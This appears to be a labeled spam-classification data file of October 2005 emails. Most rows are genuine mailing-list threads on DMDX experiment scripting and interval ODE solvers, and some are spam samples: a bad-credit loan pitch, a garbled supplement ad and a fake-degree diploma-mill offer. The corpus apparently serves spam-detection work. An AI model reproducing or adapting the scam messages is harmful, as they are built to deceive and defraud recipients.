+0200",%_SUBJ_LS,"Dear Home Owner, Your credit doesn't matter to us! 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Don't worry about approval, your credit will not disqualify you! http://m64m.net Sincerely, Peter Approval Manager ",1,1 George Corliss ,"gfdong@sjtu.edu.cn, reliable_computing@interval.louisiana.edu","Wed, 12 Oct 2005 05:54:40 -0500",Re: How can I evaluate interval initial value problem solver?,"> firstly, thank you for your consideration! > as a newcomer, I have so many problems. > 1) to a single interval solver, how to compute the EXCESS width?? > y\\'(t)=f(y,t) the initial condition is y0=[a,b] ,for t in [0,tend] > the following is my view, choose enough points in y0=[a,b] randomly as initial > value ,then from a point NOT interval solver,we can get y(tend) according to > the initial value in y0. > if the number of points is large enough,we can get an interval to contain all > the y(tend) with the minimum width. > then we can view this interval as the exact solution interval and from this > and the [y(tend)] from interval solver,we can get the EXCESS width > > is it right? No. There are two flaws, both fundamental to understanding how interval people look at the world. #1. You have no guarantee of the correctness of the approximate solutions. Hence, the true set of solutions could look very different. #2. Even if the approximate solutions were perfect, you have no guarantee that the Monte Carlo simulation you suggest explores the true extremes. It is possible for there to be narrow spikes in the true solution set that happen nor to be exercised by your sampling. The method you outlined, while not guaranteed, can often give insight. Alternatives: 1. Exact solution, if it is available, but you already knew that. 2. If the problem has a special form, e.g., 1 dimensional, linear, etc., there may be special techniques you can use. 3. For some problems, you can use differential inequalities to obtain inner enclosures, or sets which are guaranteed to be inside the true solution set. 4. If the dimension is not too high, you can subdivide the original initial condition and integrate on sub-boxes. > 2)I still can not understand of Taylor Series Method well. > I have read ""Validated solutions of initial value problems for ordinary > differential equations"" ,a very helpful paper to me. > Alough with it, I still cannot program this method rightly in Matlab. There are MANY subtle implementation details. It is NOT as easy as the authors try to make it sound in papers. > I wanna ask: > which c/c++ interval solver package can be use under Windows? Get Ned Nedialkov's VNODE package. You can download it from http://www.cas.mcmaster.ca/~nedialk/. I strongly recommend you also read his thesis and his more recent papers. You might be interested in an interval tutorial I gave in August, http://www.eng.mu.edu/corlissg/05DTUworkshop/Latex/. I have attached my most recent Survey of ODEs talk. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu > > ----- Original Message ----- > From: George Corliss > To: , > Cc: > Subject: Re: How can I evaluate interval initial value problem solver? > >> for example >> y\\\\\\'=f(y,t) the initial condition is y0=[a,b] ,t=0 to tend >> >> is the width of interval y(tend) an index to evaluate the solver?? > I\\'m not sure exactly what you are asking. Are you asking about how to > compare the quality of two interval solvers? If so, comparing the width of > the interval y(tend) is one measure. A more comprehensive measure would be > some norm of width of the interval y(t) for t in [0, tend]. You could also > compare the widths of the defects y\\'(t) - f(t,y). > > If you do any of those, you should be careful of concluding too much. You > will only have compared the tightness performance of the two methods on that > problem. The tightness performance on another problem might be quite > different. > > If what you want is an evaluation of the quality of a single interval > solver, you probably want some measure of the EXCESS width, although > authorities differ on the most appropriate way to express excess width, > especially in dimensions greater than one. > > Dr. George F. Corliss > Electrical and Computer Engineering > Marquette University > PO Box 1881 > 1515 W. Wisconsin Ave. > Milwaukee WI 53201-1881 USA > 414-288-6599; Fax: 288-5579; Dept. 288-6280 > Office: Haggerty Engineering 296 > George.Corliss@Marquette.edu > > > >",0,1 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 14:21:19 +0100",[DMDX] Clear a picture when a key pressed,"Dear Sir, I’m building an experiment with 3 pictures displayed and a text describes one of these pictures. Participants have to response with 3 pressed key; with a key pressed, the corresponding picture will disappear (i.e., press 1, the first picture will disappear; press 2, the second will disappear; and so on). I can use and keywords to store responses to a .zil file but don’t know how to: 1- Realising a key pressed in each item. 2- Clearing a picture when two others still on screen. If know, please tell me. Thank you. VB. Nguyen",0,0 Lisandro Kaunitz ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 10:48:34 -0300",[DMDX] Images' Size and resolution," Hi there, We are developing a subliminal priming experiment using DMDX. For this experiment we are using pictures from the snoodgrass set of pictures (bmp images). When we run the experiment we see that the DMDX changes the original size of these pictures making them bigger. We have tried modifying the pictures’ size in the RTF using the command words bm.0.9, bm0.8, bm0.7, and so on. Unfortunately it happens to be that this allows us to change the size of the images but in doing so the programm also changes their resolution, making them hardly recognizable. Could you please tell us one posible way to resolve this problem so that we can display the images in their original size and their original resolution?? Thank you very much Lisandro Kaunitz and Federico Burdman. --------------------------------- 1GB gratis, Antivirus y Antispam Correo Yahoo!, el mejor correo web del mundo Abrí tu cuenta aquí",0,0 Lillian ,reliable_computing-outgoing@interval.louisiana.edu,"Wed, 12 Oct 2005 01:29:54 -0800",Ephedra for your body,"on erotica but marinade it's thoroughbred be israeli a engel ",1,0 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 08:44:04 -0700",[DMDX] Re: How to use a Pio 12 card to send outputs and to receive inputs?,"DEAR J.C. FORSTER THANK YOU FOR YOUR ANSWERS I' VE ANOTHER QUESTION ABOUT I/O INSTRUCTIONS. WHEN IS WRITTEN IN THE PARAMETER LINE: I UNDERSTOOD THAT WITH DE ""+"" SIGN A RESPONSE KEY IS HABILITATED, AND WHEN THE ""*"" SIGN CONTINUED BY A FRAME IS RESPONDEN THROUGH DE KEYBOARD, THE RESPONSE AND RESPONSE TIME IS READ BY DMDX. WHEN IS WRITTEN IN THE PARAMETER LINE: WHICH INSTRUCTION OR KEYBOARD IS NECESSARY IN THE ITEM LINE FOR THE SAME? WITH REGARDS, DR. ALBERTO YORIO ""j.c.f."" wrote:At 05:29 PM 10/11/2005 -0700, you wrote: >Dear J.C. Forster > >I´ ve a PCI-DIO24 installed on a computer (Windows XP) running DMDX. > >I wonder how to make a program in DMDX: > >A- Questions about output signals > >1) Is it necessary a keyword definition to be written in the parameter >line for outputs ? Is Keyword the correct form? Yes. >2) I read that I may use the keyword to Output to PIO12 port. >This must be written in the ""Experimental items"" each time that an output >signal is sent? Yes. >3) Which number indicates ""N"" in the keyword? Read the help, it's available from the help button in DMDX's main dialog or online: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhoutputkeyword.htm > > >B- Questions about input signals > >1) Again, I suppose that it is necessary a keyword definition to be >written in the parameter line. It is not thus? Is Keyword the >correct form? Once for both output and input is sufficient. >2) I need to use a two-button response box that is connected to the Pio card. > >I think it mappes the responses to Bit1 and Bit2, but when I did the PIO >Test in TimeDX, Bit8 and Bit9 changed from high to low. Can I use the >inputs in that manner? Yes, you'll want to unmap the current input mappings with and map new ones with and . For instance . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Music Unlimited - Access over 1 million songs. Try it free.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 08:59:50 -0700",[DMDX] Re: Clear a picture when a key pressed,"At 02:21 PM 10/12/2005 +0100, you wrote: >Dear Sir, > >I'm building an experiment with 3 pictures displayed and a text describes >one of >these pictures. Participants have to response with 3 pressed key; with a key >pressed, the corresponding picture will disappear (i.e., press 1, the first >picture will disappear; press 2, the second will disappear; and so on). I can >use and keywords to store responses to a .zil file but don't know >how to: >1- Realising a key pressed in each item. >2- Clearing a picture when two others still on screen. You can keep the contents of the display from a previous item if the frames of each item have a no-erase in them, the ! switch. To erase a given image you'll have to make a black (or whatever color the background is) and display it over the corresponding image. You'll have to have three items that can take a response and you'll have to have a branch based on the response to one of three items that erases the specific image for that response. If your images are the same size in the same locations then you can use subroutines for the erasing. Something like this: 0 ""start"" ; 1 ! ""black"" ; 2 ! ""black"" ; 3 ! ""black"" ; +100 ""picture1"" , ""picture2"" , ""picture3"" * ; +101 ! * ; +102 ! * ; Of course this solution allows you to respond with any key at any time and doesn't guarantee that they won't press one response more than once and thus not have erased the whole screen afterwards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 09:01:06 -0700",[DMDX] Re: Images' Size and resolution,"At 10:48 AM 10/12/2005 -0300, you wrote: >Hi there, ""urn:schemas-microsoft-com:office:office"" /> >We are developing a subliminal priming experiment using DMDX. For this >experiment we are using pictures from the snoodgrass set of pictures (bmp >images). When we run the experiment we see that the DMDX changes the >original size of these pictures making them bigger. > >We have tried modifying the pictures' size in the RTF using the command >words bm.0.9, bm0.8, bm0.7, and so on. Unfortunately it happens to be >that this allows us to change the size of the images but in doing so the >programm also changes their resolution, making them hardly recognizable. > >Could you please tell us one posible way to resolve this problem so that >we can display the images in their original size and their original >resolution?? Use and parameter that matches your desktop resolution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 09:03:52 -0700",[DMDX] Re: How to use a Pio 12 card to send outputs and to receive inputs?,"At 08:44 AM 10/12/2005 -0700, you wrote: >DEAR J.C. FORSTER >THANK YOU FOR YOUR ANSWERS > >I' VE ANOTHER QUESTION ABOUT I/O INSTRUCTIONS. > >WHEN IS WRITTEN IN THE PARAMETER LINE: >I UNDERSTOOD THAT WITH DE ""+"" SIGN A RESPONSE KEY IS HABILITATED, AND WHEN >THE ""*"" SIGN CONTINUED BY A FRAME IS RESPONDEN THROUGH DE KEYBOARD, THE >RESPONSE AND RESPONSE TIME IS READ BY DMDX. > >WHEN IS WRITTEN IN THE PARAMETER LINE: >WHICH INSTRUCTION OR KEYBOARD IS NECESSARY IN THE ITEM LINE FOR THE SAME? > Assuming I'm understanding your English it's the same regardless of input device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 12 Oct 2005 15:05:00 -0500",[CS382M:21] Announcements,"CS382M-ers, A couple of announcements (repeated from class today): 1) HW #3 is due on Monday 10/17. Since we want to distribute the solution set on Monday at the end of class, there will be no late days granted for HW #3 (as we voted and agreed on in class last week). 2) The midterm is next Wednesday 10/19. You are responsible for: - everything covered in lecture (up to and including today) - all of the papers up to (but not including) the Jouppi paper - all of HW's - all of the textbook chapters we have covered - chap 1, 2, 3, 4 (but not all of the compiler complexity), first half of chap 5 (end of caching). You should plan on bringing a non-programmable calculator and on 8 1/2 x 11 sheet of notes (both sides is fine). You may not use your textbook during the exam. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 19:02:24 -0400",[DMDX] output counter value as an additional column in table,"I'd like to output the values of some counters every time I output an RT response. What I get with is: Item RT ! Counter 4 has value 1 ! Counter 5 has value 1 301 5427.05 ! Counter 4 has value 1 ! Counter 5 has value 2 302 1459.57 ! Counter 4 has value 0 ! Counter 5 has value 1 303 2617.90 ... What I'd like to get is: 301 5427.05 1 1 302 1459.57 1 2 303 2617.90 0 1 ... I couldn't find a switch or option that enables this. But maybe there's some way to do it? Thanks, -Yuval.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Oct 2005 17:44:25 -0700",[DMDX] Re: output counter value as an additional column in table,"At 07:02 PM 10/12/2005 -0400, you wrote: >I'd like to output the values of some counters every time I output an >RT response. >What I get with is: > > Item RT >! Counter 4 has value 1 >! Counter 5 has value 1 > 301 5427.05 >! Counter 4 has value 1 >! Counter 5 has value 2 > 302 1459.57 >! Counter 4 has value 0 >! Counter 5 has value 1 > 303 2617.90 >.. > >What I'd like to get is: > 301 5427.05 1 1 > 302 1459.57 1 2 > 303 2617.90 0 1 >.. > >I couldn't find a switch or option that enables this. But maybe >there's some way to do it? No, there's no way to do it. There's to make zillion data all on one line however it does nothing to counter output. You would have to want to sponsor it's addition as it would be messy to add. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 11:31:35 +0100",[DMDX] Re: Clear a picture when a key pressed,"Thank you for your suggestion. It runs properly, but I see some strange things in .zil files like this: Subject 20, 10/13/2005 00:11:17 on BINHDKH, refresh 16.65ms ! Display error at msec 140.44, tick 5 in item 0, frame ""Press SPACEBAR to start"" ! moved into video memory 4 ticks late ! (previous frame's duration will have been longer) ! Display error at msec 2637.95, tick 155 in item 100, frame "" "" ! moved into video memory 6 ticks late ! (previous frame's duration will have been longer) Item 100, -587.44 587.44,+2 ! Display error at msec 15406.13, tick 922 in item 2, frame ""clear2"" ! moved into video memory 37 ticks late ! (previous frame's duration will have been longer) Item 1001, 241.92 241.92,+1 ! Display error at msec 15772.27, tick 944 in item 1, frame ""clear1"" ! moved into video memory 17 ticks late ! (previous frame's duration will have been longer) Could you tell me how can I do to DMDX not print these line (after (! ) mark) to the .zil file. Kind regards, VB Nguyen Quoting ""j.c.f."" : > At 02:21 PM 10/12/2005 +0100, you wrote: > >Dear Sir, > > > >I'm building an experiment with 3 pictures displayed and a text describes > >one of > >these pictures. Participants have to response with 3 pressed key; with a > key > >pressed, the corresponding picture will disappear (i.e., press 1, the first > >picture will disappear; press 2, the second will disappear; and so on). I > can > >use and keywords to store responses to a .zil file but don't > know > >how to: > >1- Realising a key pressed in each item. > >2- Clearing a picture when two others still on screen. > > You can keep the contents of the display from a previous item if the > frames of each item have a no-erase in them, the ! switch. To erase a > given image you'll have to make a black (or whatever color the background > is) and display it over the corresponding image. You'll have to have three > items that can take a response and you'll have to have a branch based on > the response to one of three items that erases the specific image for that > response. If your images are the same size in the same locations then you > can use subroutines for the erasing. Something like this: > > > > 0 ""start"" ; > > 1 ! ""black"" ; > 2 ! ""black"" ; > 3 ! ""black"" ; > > +100 ""picture1"" , ""picture2"" , > ""picture3"" * ; > +101 ! * ; > +102 ! * ; > > Of course this solution allows you to respond with any key at any time > and doesn't guarantee that they won't press one response more than once and > thus not have erased the whole screen afterwards. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The bug stops here. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Jana Mata ,reliable_computing-outgoing@interval.louisiana.edu,"Thu, 13 Oct 2005 00:45:13 -0500",Hellooooo,"Update: Our Administration Clerks were unable to conact you regarding your degree. We have been qualifying people based on thier experiences in past and present jobs and are offering you a qualified degree with transcripts. Upon calling we will have your degree/transcipts completed and shipped within 2 days. Administration Office Number: (206) 984-1705 Administration Hours: 24 hours, 7 Days a week, including Sundays and Holidays Melbrook Online Education University Administration Jana Mata Client Identification: V5942 ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 08:22:28 -0700",[DMDX] Re: Clear a picture when a key pressed,"At 11:31 AM 10/13/2005 +0100, you wrote: >Thank you for your suggestion. It runs properly, but I see some strange things >in .zil files like this: > >Subject 20, 10/13/2005 00:11:17 on BINHDKH, refresh 16.65ms >! Display error at msec 140.44, tick 5 in item 0, frame ""Press SPACEBAR to >start"" >! moved into video memory 4 ticks late >! (previous frame's duration will have been longer) >! Display error at msec 2637.95, tick 155 in item 100, frame "" "" >! moved into video memory 6 ticks late >! (previous frame's duration will have been longer) >Item 100, -587.44 > 587.44,+2 >! Display error at msec 15406.13, tick 922 in item 2, frame ""clear2"" >! moved into video memory 37 ticks late >! (previous frame's duration will have been longer) >Item 1001, 241.92 > 241.92,+1 >! Display error at msec 15772.27, tick 944 in item 1, frame ""clear1"" >! moved into video memory 17 ticks late >! (previous frame's duration will have been longer) > > >Could you tell me how can I do to DMDX not print these line (after (! ) >mark) to >the .zil file. Your probably using or D in your parameter line. Don't. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 08:28:33 -0700",[DMDX] Re: Clear a picture when a key pressed,"At 11:31 AM 10/13/2005 +0100, you wrote: > > > > > > 0 ""start"" ; > > > > 1 ! ""black"" ; > > 2 ! ""black"" ; > > 3 ! ""black"" ; > > > > +100 ""picture1"" , ""picture2"" , > > ""picture3"" * ; > > +101 ! * ; > > +102 ! * ; > > > > Of course this solution allows you to respond with any key at any time > > and doesn't guarantee that they won't press one response more than once > and > > thus not have erased the whole screen afterwards. And then sometime last night (probably sitting in meditation) I realized that you could selectively bind and then unbind response keys so they couldn't make the same response twice like this: 0 ""start"" ; 1 ! ""black"" ; 2 ! ""black"" ; 3 ! ""black"" ; +100 ""picture1"" , ""picture2"" , ""picture3"" * ; +101 ! * ; +102 ! * ; +200 ""picture1"" , ""picture2"" , ""picture3"" * ; +201 ! * ; +202 ! * ; Of course this solution allows /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 08:30:57 -0700",[DMDX] Re: Clear a picture when a key pressed,"At 08:22 AM 10/13/2005 -0700, you wrote: > You're probably using or D in your parameter line. Don't. Gad, can't believe I did that. You see so many twits using ""your"" instead of ""you're"" and it just creeps into your unconsciousness. Guess that's how language evolves... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 12:42:04 -0500",[DMDX] Display error oddity,"I have a question about display error messages that are generated in the azk output. Basically, the same script generates a very different pattern of display errors (or no errors) on two different machines. Here is the scenario. This is the script: d30 f1 +1 * ""Test1"" /; +2 * ""Test2"" /; 0 ""End""; If I run this script on one computer and let it run with no responses, it generates the following output: Subject 1, 10/13/2005 12:24:57 on HEINEKEN, refresh 16.66ms, ID 1 Item RT 1 -2000.00 ! Display error at msec 2561.41, tick 152 in item 2, frame ""Test2"" ! moved into video memory 60 ticks late ! (previous frame's duration will have been longer) 2 -2000.00 ! Display error at msec 4610.93, tick 275 in item 0, frame ""End"" ! moved into video memory 61 ticks late ! (previous frame's duration will have been longer) This surprised me b/c using a d of 30 should be way more time than was needed to prepare to present text. Also the 60 & 61 additional ticks listed in the display error seemed way too long. Then I realized that the time out of 2000 would obviously be delaying things if the participant responded real slow (or didnt response as in this simulation). If I change the time out to 500 the delay errors go away. I thought problem solved. But, if I run the same original script on a different machine (with the time out of 2000), I DO NOT get any display errors: Subject 1, 10/13/2005 12:28:35 on REDSTRIPE, refresh 16.68ms Item RT 1 -2000.00 2 -2000.00 If the time out was the source of the display errors, then it should occur on both machines, correct? But if the timeout is not the source of the error, why does making the timeout <= to the duration of the item make the display errors go away on the first machine? Thanks for any insight J -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 11:05:21 -0700",[DMDX] Re: How to use a Pio 12 card to send outputs and to receive inputs?,"Dear J.C. Forster Again, question about i/o instructions. How the lowest bit (the bit A0) is read by the plate Pio 12 (inputs). A related question, if program DMDX reads the bit A0 from the card or if the bit A0 is assigned to other devices by default. In that case if it is possible to change the reading of the lowest bit to be read by the Pio 12 card. Thank you in advance ""j.c.f."" wrote: At 08:44 AM 10/12/2005 -0700, you wrote: >DEAR J.C. FORSTER >THANK YOU FOR YOUR ANSWERS > >I' VE ANOTHER QUESTION ABOUT I/O INSTRUCTIONS. > >WHEN IS WRITTEN IN THE PARAMETER LINE: >I UNDERSTOOD THAT WITH DE ""+"" SIGN A RESPONSE KEY IS HABILITATED, AND WHEN >THE ""*"" SIGN CONTINUED BY A FRAME IS RESPONDEN THROUGH DE KEYBOARD, THE >RESPONSE AND RESPONSE TIME IS READ BY DMDX. > >WHEN IS WRITTEN IN THE PARAMETER LINE: >WHICH INSTRUCTION OR KEYBOARD IS NECESSARY IN THE ITEM LINE FOR THE SAME? > Assuming I'm understanding your English it's the same regardless of input device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Music Unlimited - Access over 1 million songs. Try it free.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 11:19:33 -0700",[DMDX] Re: How to use a Pio 12 card to send outputs and to receive inputs?,"At 11:05 AM 10/13/2005 -0700, you wrote: >Dear J.C. Forster > >Again, question about i/o instructions. > >How the lowest bit (the bit A0) is read by the plate Pio 12 (inputs). It's the request signal unless you remap it. >A related question, if program DMDX reads the bit A0 from the card or if >the bit A0 is assigned to other devices by default. It's the request signal unless you remap it. >In that case if it is possible to change the reading of the lowest bit to >be read by the Pio 12 card. You can map inputs to whatever you like with and , , et al. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why is there braille on drive-through ATMs? - Stephen Wright",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 11:44:43 -0700",[DMDX] Re: Display error oddity,"At 12:42 PM 10/13/2005 -0500, you wrote: >I have a question about display error messages that are generated in the >azk output. Basically, the same script generates a very different pattern >of display errors (or no errors) on two different machines. Here is the >scenario. This is the script: > > d30 f1 1024,768,768,32,60> >+1 * ""Test1"" /; >+2 * ""Test2"" /; >0 ""End""; > >If I run this script on one computer and let it run with no responses, it >generates the following output: > >Subject 1, 10/13/2005 12:24:57 on HEINEKEN, refresh 16.66ms, ID 1 > Item RT > 1 -2000.00 >! Display error at msec 2561.41, tick 152 in item 2, frame ""Test2"" >! moved into video memory 60 ticks late >! (previous frame's duration will have been longer) > 2 -2000.00 >! Display error at msec 4610.93, tick 275 in item 0, frame ""End"" >! moved into video memory 61 ticks late >! (previous frame's duration will have been longer) >This surprised me b/c using a d of 30 should be way more time than was >needed to prepare to present text. Also the 60 & 61 additional ticks >listed in the display error seemed way too long. Then I realized that the >time out of 2000 would obviously be delaying things if the participant >responded real slow (or didnt response as in this simulation). If I >change the time out to 500 the delay errors go away. Yeah, the time for the next frame is calculated from when the previous display ended so a timeout that's longer than the display will screw up the timing. A 500ms frame plus a 500ms delay minus a two second response timeout gives you around 60 ticks. > I thought problem solved. But, if I run the same original script on a > different machine (with the time out of 2000), I DO NOT get any display > errors: >Subject 1, 10/13/2005 12:28:35 on REDSTRIPE, refresh 16.68ms > Item RT > 1 -2000.00 > 2 -2000.00 > >If the time out was the source of the display errors, then it should occur >on both machines, correct? But if the timeout is not the source of the >error, why does making the timeout <= to the duration of the item make the >display errors go away on the first machine? Could be a version thing, I just recently fixed the way was working with and your machines may have different version of DMDX on them. Prior to 3.1.4.1 a pretty un-rigorous piece of code would have not had display errors when the subject's response went over the display duration when and were used together. As long as the display was longer than the RT things will have been fine (as long as you didn't have a really fast CPU) but for poorly formed items like you have there it will have been scheduling the display from the time that the previous item finished, not it's display. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You probably wouldn't worry about what people think of you if you could know how seldom they do. - Olin Miller.",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Oct 2005 14:05:19 -0500",[DMDX] Re: Display error oddity,"Thanks Jonathan, Yes, the machine that was not generating the problems was running 3.1.2.1All makes sense now. J On 10/13/05, Jonathan C. Forster wrote: > > At 12:42 PM 10/13/2005 -0500, you wrote: > > I have a question about display error messages that are generated in the > azk output. Basically, the same script generates a very different pattern of > display errors (or no errors) on two different machines. Here is the > scenario. This is the script: > > d30 f1 1024,768,768,32,60> > +1 * ""Test1"" /; > +2 * ""Test2"" /; > 0 ""End""; > > If I run this script on one computer and let it run with no responses, it > generates the following output: > > Subject 1, 10/13/2005 12:24:57 on HEINEKEN, refresh 16.66ms, ID 1 > Item RT > 1 -2000.00 > ! Display error at msec 2561.41, tick 152 in item 2, frame ""Test2"" > ! moved into video memory 60 ticks late > ! (previous frame's duration will have been longer) > 2 -2000.00 > ! Display error at msec 4610.93, tick 275 in item 0, frame ""End"" > ! moved into video memory 61 ticks late > ! (previous frame's duration will have been longer) > This surprised me b/c using a d of 30 should be way more time than was > needed to prepare to present text. Also the 60 & 61 additional ticks listed > in the display error seemed way too long. Then I realized that the time out > of 2000 would obviously be delaying things if the participant responded real > slow (or didnt response as in this simulation). If I change the time out to > 500 the delay errors go away. > > > Yeah, the time for the next frame is calculated from when the previous > display ended so a timeout that's longer than the display will screw up the > timing. A 500ms frame plus a 500ms delay minus a two second response timeout > gives you around 60 ticks. > > I thought problem solved. But, if I run the same original script on a > different machine (with the time out of 2000), I DO NOT get any display > errors: > Subject 1, 10/13/2005 12:28:35 on REDSTRIPE, refresh 16.68ms > Item RT > 1 -2000.00 > 2 -2000.00 > > If the time out was the source of the display errors, then it should occur > on both machines, correct? But if the timeout is not the source of the > error, why does making the timeout <= to the duration of the item make the > display errors go away on the first machine? > > > Could be a version thing, I just recently fixed the way was working > with and your machines may have different version of DMDX on them. Prior > to 3.1.4.1 a pretty un-rigorous piece of code would have > not had display errors when the subject's response went over the display > duration when and were used together. As long as the display was > longer than the RT things will have been fine (as long as you didn't have a > really fast CPU) but for poorly formed items like you have there it will > have been scheduling the display from the time that the previous item > finished, not it's display. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > You probably wouldn't worry about what people think of you if you could > know how seldom they do. > > - Olin Miller. > > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 Rafi Muhanna ,reliable computing ,"Thu, 13 Oct 2005 14:52:47 -0400",REC'06-REC'06-The Second Workshop on Reliable Engineering Computing-REMINDER,"Reminder! The abstracts deadline is Ocober 15, 2005. Dear Colleagues: CALL FOR PAPERS The Second workshop on Reliable Engineering Computing Georgia Institute of Technology February 22-24, 2006 | Savannah, Georgia, USA Across all branches of engineering, computational methods share the need for reliable results. Reliability can be achieved only if all sources of errors, approximations, and uncertainty are accounted for. This workshop is unique in combining computer science, mathematics, and engineering analysis and design to discuss the reliability of engineering computations, providing a common forum by which to continue cross-disciplinary advisements in the field. Participants are expected to submit papers that will be published in the workshop proceedings and also will be available online from the workshop web site. After the workshop, selected papers will be published in a special issue(s) of Reliable Computing journal. The papers will go through the normal refereeing process. Workshop website: http://www.gtsav.gatech.edu/workshop/rec06/index.html Topics include but not limited to: - Measurement of reliability of algorithms and computations; - Integration of various sources of errors in engineering calculations; - Integrating uncertainty into analysis and design. Deadlines: October 15, 2005: deadline for abstract submission November 01, 2005: notification of acceptance January 15, 2006: deadline for paper submission For more information, please contact Prof. Muhanna Email: rec@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928 Honorary Co-Chairmen Ramon E. Moore Eldon R. Hansen Ivo Babuška Chairman: Rafi L. Muhanna, Georgia Institute of Technology Co-Chairman: Robert L. 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The Lyapunov time is the inverse of the Lyapunov exponent, and essentially measures the time it takes for the distance between two nearby solutions to increase by a factor of Euler's constant. However, there is a form of backward error analyis called ""shadowing"" that is sometimes (not always) applicable. A ""shadow"" of a numerical solution is an exact solution remaining close to the numerical solution for a long time. In particular, if the initial value ODE is y'(t) = f(y), y(t0) = y0, and the numerical solution is s(t), t0 <= t <= t1, then a shadow x(t) is a solution satisfying x'(t) = f(x), x(t0) = x0, such that || x(t) - y(t) || < epsilon for all t0 <= t <= t1, for some t1 > t0. If |t1 - t0| is ""long"" (with a problem- and user-dependent defiinition of what is ""long""), then the numerical solution s(t) is meaningful in that it can be viewed as an ""observation"" of an exact solution, with epsilon being the ""observational error"". People such as experimental physicists are very comfortable with this idea of observational error and thus shadowing is applicable to some physical simulations. Of course, a numerical solution is typically a sequence of points rather than a continuous curve s(t), but this restriction is easy to accomodate. In some cases a shadow can be proven to exist in the validated interval sense, although it is even more computationtally expensive than validated ODE integration. There also exist less rigorous but cheaper non-validated shadowing algorithms. You can find out more about shadowing, including a bunch of papers, on my web page, http://www.ics.uci.edu/~wayne There are some (published) survey papers with many references therein. - Wayne",0,1 